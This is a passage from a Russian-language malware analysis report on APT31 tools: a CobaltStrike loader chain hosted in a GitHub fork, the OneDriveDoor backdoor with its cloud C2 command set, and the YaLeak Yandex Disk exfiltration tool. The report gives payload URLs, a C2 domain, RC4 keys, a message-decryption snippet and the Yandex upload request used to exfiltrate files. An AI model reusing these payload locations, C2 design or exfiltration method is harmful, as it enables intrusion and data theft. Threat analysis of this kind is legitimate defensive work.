Шеллкод второго этапа использует технику Reflective Loader для внедрения полезной нагрузки в адресное пространство процесса. Кроме того, для хеширования имен функций используется алгоритм ROR13. Схожая реализация кода представлена тут.
Основная нагрузка представляет собой динамическую библиотеку.
MD5: e6e73c59eb8be5fa2605b17552179c2f SHA1: 7a3139e80ea8c9d4bebf537d5497e19b3169ac09 SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b
Интересно, что код основной нагрузки схож с динамической библиотекой BugSplatRc64.dll.
Следующим этапом загружаемая в память полезная нагрузка загружает имплант CobaltStrike Beacon.
Этапы получения основной нагрузки:
1. Запрос к репозиторию scrcpyClone пользователя Range1992 https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy. В полученных с Git данных вредоносный код ищет маркер начала QQNSR4u и конца ZsNpk7Y закодированной строки. Далее получает данные между маркерами, декодирует из Base64, расшифровывает RC4 на ключе 03 07 A0 B0 E3 80 88 77. Расшифрованные данные представляют собой следующий адрес основной нагрузки.

2. Расшифрованный адрес https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP загружает зашифрованный имплант CobalstStrike, который включает в себя:

Полезные данные представляют собой шеллкод CobaltStrike Beacon со следующей конфигурацией:
| BeaconType | HTTPS |
| Port | 443 |
| SleepTime | 77665 |
| MaxGetSize | 409721416 |
| Jitter | 46 |
| PublicKey_MD5 | fe7aa97fbe3fe21e59ead1792ca2dc58 |
| C2Server | Moeodincovo.com,/divide/mail/SUVVJRQO8QRC, www.Moeodincovo.com,/divide/mail/SUVVJRQO8QRC |
| UserAgent | Mozilla/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 |
| HttpPostUri | /Terminate/v6.49/LTKAZNE9 |

Согласно анализу учетной записи злоумышленника, последняя активность пользователя Range1992 была 5 декабря 2024 года. В этот день он создал форк проекта scrcpy и добавил файлы ВПО.

Исполняемый файл Seting.exe представляет собой уязвимый к DLL sideloading компонент софта ThreadRacer, бенчмарка CPU. Он загружает динамическую библиотеку pl_rsrc_english.dll, представляющую собой загрузчик шеллкода. Шеллкод зашифрован в файле language.dll алгоритмом RC4, где ключом являются первые 8 байт файла.
Динамическая библиотека pl_rsrc_english.dll расшифровывает файл шеллкода и внедряет его в созданный процесс winrshost.exe. Основная задача шеллкода — загрузить в адресное пространство процесса winrshost.exe исполняемый файл бэкдора. Интересно, что у бэкдора сигнатура MZ заменена на байты 0×22 0×11, а PE — на 0×44 0×33.

При старте бэкдор создает мьютекс 7ijPFUKNV8QRoGVo. Затем он генерирует идентификатор зараженной машины и подключается к C2, в качестве которого используется облачное хранилище Microsoft OneDrive.

Далее начинается цикл получения сообщений.
Первоначально от OneDriveDoor (в качестве проверки доступа к диску) посылается информация о зараженной машине в файл на облаке /root:/<ID>/8110. Собирается следующая информация о системе: имя компьютера, имя пользователя, IP-адрес зараженного узла, PID, текущая директория, проверяется наличие прав администратора.
При этом все параметры разделяются символом табуляции, числа переводятся в строковые представления.
В случае успешной отправки данных на сервер начинается процесс выполнения команд. Обращение происходит каждые несколько секунд, но не более 5 минут.
Команды на выполнение в скомпрометированной системе ВПО получает в JSON-ответе из запроса к URL https[:]//graph.microsoft[.]com//v1.0/me/drive/root:/<ID>/config1:/children?select=name. В ответе содержится список всех файлов, которые находятся в каталоге <ID>\config1.
{
"value": [
{ "name": "filename1" },
{ "name": "filiname2" }
]
}
В данном случае злоумышленники таким образом получают список команд, необходимых для выполнения на зараженной машине с указанным ID. Командами тут являются сами названия файлов из этой папки. Если файл command_file содержит одну из следующих цифровых строк, то выполняется соответствующая команда.
| number | description |
| 8110 | Отправка информации о зараженной машине (только внутри цикла сообщений) |
| 8111 | Получить файл и записать в зашифрованном виде на систему жертвы по указанному пути |
| 8112 | Отправить зашифрованный файл с компьютера на C2 |
| 8113 | Отправить информацию о свободном месте на дисках |
| 8114 | Выполнение дополнительной (расширенной) команды |
| 8115 | Завершение cmd-процесса из команды 8114 |
| 8116 | list dir — собирает рекурсивно информацию о файлах в указанной папке, включая время последнего изменения, размер и аттрибуты |
| 8117 | Удаление указанного файла |
| 8118 | Создание директории (название указано сервером) |
| 8119, 8120, 8121 | Переименовать файл — запрашивает у сервера строку с именами файлов, разделенных символом табуляции |
Если требуются дополнительные параметры, их берут из самого файла <ID>/config1/<command_file>, отправляя дополнительный запрос на получение контента файла. Исключением являются команды для чтения файла: из содержания файла-команды извлекают только один параметр — имя файла, который будет записан или прочитан.
Содержание файла окажется (или уже находится) по пути <ID>/VirtualServ/<command_file>.
После выполнения команды удаляется файл, соответствующий выполненной команде command_file. Результаты отправляются в файл по адресу <ID>/<command_file> .
Отдельно стоит рассмотреть команду 8114, предназначенную для выполнения дополнительных команд cmd.

Перейдем к функции, отвечающей за обработку этой команды. Внутри инициализируется внутренний класс cmd и запускаются два потока выполнения: один для выполнения команд (cmd::DownloadThreadProc), второй — для сбора и обработки результатов (cmd::OutputThreadProc ).
struct cmd {
__int64 hCMD;
__int64 pipe_read1;
__int64 pipe_write2;
__int64 pipe_write1;
__int64 pipe_read2;
__int64 hOutPut;
__int64 hMainCmd;
int flag_need_exec;
int flag_nostr2;
void *hcurl1;
void *hcurl2;
mystr str1;
mystr str2;
tree *tree_paths;
__int64 field_98;
tree *tree_commands;
__int64 field_A8;
CRITICAL_SECTION crit_section;
};Структура класса cmd
Функция cmd::DownloadThreadProc получает содержание файла 8114, в котором содержится необходимая для выполнения команда со всеми параметрами. Далее внутри функции возможны два пути обработки команды: первоначально ее пытаются обработать в функции cmd::main, в случае неуспеха происходит отправка команды в открытый процесс cmd.

В функции cmd::main происходит обработка команды при помощи плагинов: они реализуют аналог cmd-команд Windows при помощи WinAPI или com-объектов, не выполняя команду напрямую через интерпретатор. Скорее всего, такой функционал был реализован для того, чтобы оставлять меньше следов работы OneDriveDoor в системе.
В команде ищут ключевое слово — аналог команды cmd в Windows, после чего в список команд на выполнение добавляют соответствующий этой команде plugin, предварительно инициализировав структуру для этого плагина.

Затем все команды выполняют по одной схеме: для очередного плагина создается список аргументов, с этими параметрами (аналогично параметрам командной строки) запускают выполнений основных действий — обработку команды. После этого забирают результаты выполнения команды.

Все плагины наследуют методы базового класса, переназначая их на свои.
struct CmdPluginVtbl // sizeof=0x20
{
__int64 (__fastcall *init)(plugin *this); // инициализация структуры
std::str *(__fastcall *whoami)(plugin *this, std::str *outname); // возвращает строку с именем плагина
__int64 (__fastcall *action)(plugin *this, unsigned int argnum, LPWSTR *argline); // обрабатывает команды и выполняет необходимые действия
__int64 (__fastcall *finish)(plugin *this, , std::wstring *out); // сбор результатов работы плагина
};
В текущем образце было обнаружено 11 дополнительных плагинов.
| Номер | Команда | Функционал |
|---|---|---|
| 1 | dir | Ищет все файлы в указанной директории и собирает о них информацию |
| 2 | net | Аналог команды net |
| 3 | copy | Копирование файла по указанному пути с использованием SHFileOperationW |
| 4 | del | Удаление файла с использованием SHFileOperationW |
| 5 | query | Аналог команды query — перечисляет информацию о текущих сеансах |
| 6 | reg | Аналог команды reg, поддерживает только опции add и query |
| 7 | tasklist | При помощи COM-объекта IWbemLocator выполняет команду WQL SELECT Name,ProcessId FROM Win32_Process |
| 8 | schtasks | Создание, управление и удаление задач, полный аналог одноименной системной команды Windows |
| 9 | type | Передает содержимое файла, учитывая локальную кодировку |
| 10 | whoami | Передает имя пользователя с использованием API GetUserNameW |
| 11 | wmic | Использует реализацию WMIC на основе IWbemLocator для работы с процессами |
Дополнительно расскажем про некоторые из них.
DIR — аналогичен одноименной команде, но собирает только конкретную информацию.

Для всех файлов в указанной директории плагин собирает время последнего изменения, размер файла. Кроме того, в конце он добавляет общее количество всех папок и файлов, а также общий размер папки.
NET — аналог команды net с дополнительными параметрами:
WMIC — урезанная реализация WMIC на основе COM-объекта IWbemLocator. Используется для получения информации о процессах. Для этого выполняет аналог команды
wmic process call create
Дополнительно может указывать параметры PASSWORD, USER, NODE.
Сообщения C2 зашифровываются при помощи двойного использования алгоритма RC4. Для каждого сообщения создается свой собственный ключ, которым это сообщение и шифруется. Затем этот ключ присоединяют к сообщению и накрывают снова RC4 с ключом, указанным в конфигурации ВПО. Ниже схематично показан алгоритм расшифровки сообщения одного из образцов:
def decryt_msg(msg, size_msg)
if size_msg <= 86:
return None
rc4_key = "1xPHxdt49B9e5mBCw"
msg_stage = rc4_algo(rc4_key, msg)
# real_msg_size = sie_msg - 86
output = rc4_algo(msg_stage[:4], msg[86:])
return output
При этом при шифровании сообщений генерируются случайные 172 ASCII-символа (в некоторых случаях 86), первые четыре из которых занимает RC4-ключ конкретного сообщения, а остальное — просто мусор, который также прикрепляется к сообщению.
Для эксфильтрации данных злоумышленники применяли компактную утилиту, разработанную на .NET. Инструмент выгружал информацию в облачное хранилище Яндекса, поэтому был назван YaLeak.
Запуск YaLeak осуществляется с аргументами командной строки, в которых указывается:

Далее ВПО рекурсивно обходит содержимое эксфильтруемого каталога и отправляет каждый файл с использованием API Яндекса. Перед отправкой файла выполняется запрос следующего вида:
https://cloud-api.yandex.net/v1/disk/resources/upload?path=<YaDir>/<relative_path>&overwrite=true
В JSON-ответе содержится параметр href — уникальная ссылка, по которой и будет отправлен файл с системы жертвы. После успешной загрузки файл удаляется из системы жертвы.
Группировка APT31 остается активной и по сей день. За прошлый год было обнаружено несколько атак, которые были направлены на российский IT-сектор. Их атаки остаются такими же продуманными — от времени атаки и до сценария команд. Ко всему прочему, APT31 постоянно пополняет свой арсенал: хотя они продолжают использовать часть своих старых инструментов, в этом году их арсенал пополнился большим количеством ВПО, преимущественно бэкдорами.
В качестве С2 злоумышленники активно используют облачные сервисы, в частности сервисы Яндекса и Microsoft OneDrive. Многие инструменты также настроены работать в режиме сервера, ожидая подключения злоумышленников к зараженному хосту. Помимо этого, группировка осуществляет эксфильтрацию данных через облачное хранилище Яндекса.
Данные инструменты и техники позволяли APT31 находиться незамеченными в инфраструктуре жертв годами. При этом злоумышленники выкачивали файлы и собирали конфиденциальную информацию с устройств, включая пароли от почтовых ящиков и внутренних сервисов жертв.
Авторы хотят поблагодарить за помощь в подготовке статьи команды Incident Response и Threat Intelligence экспертного центра Positive Technologies (PT Expert Security Center).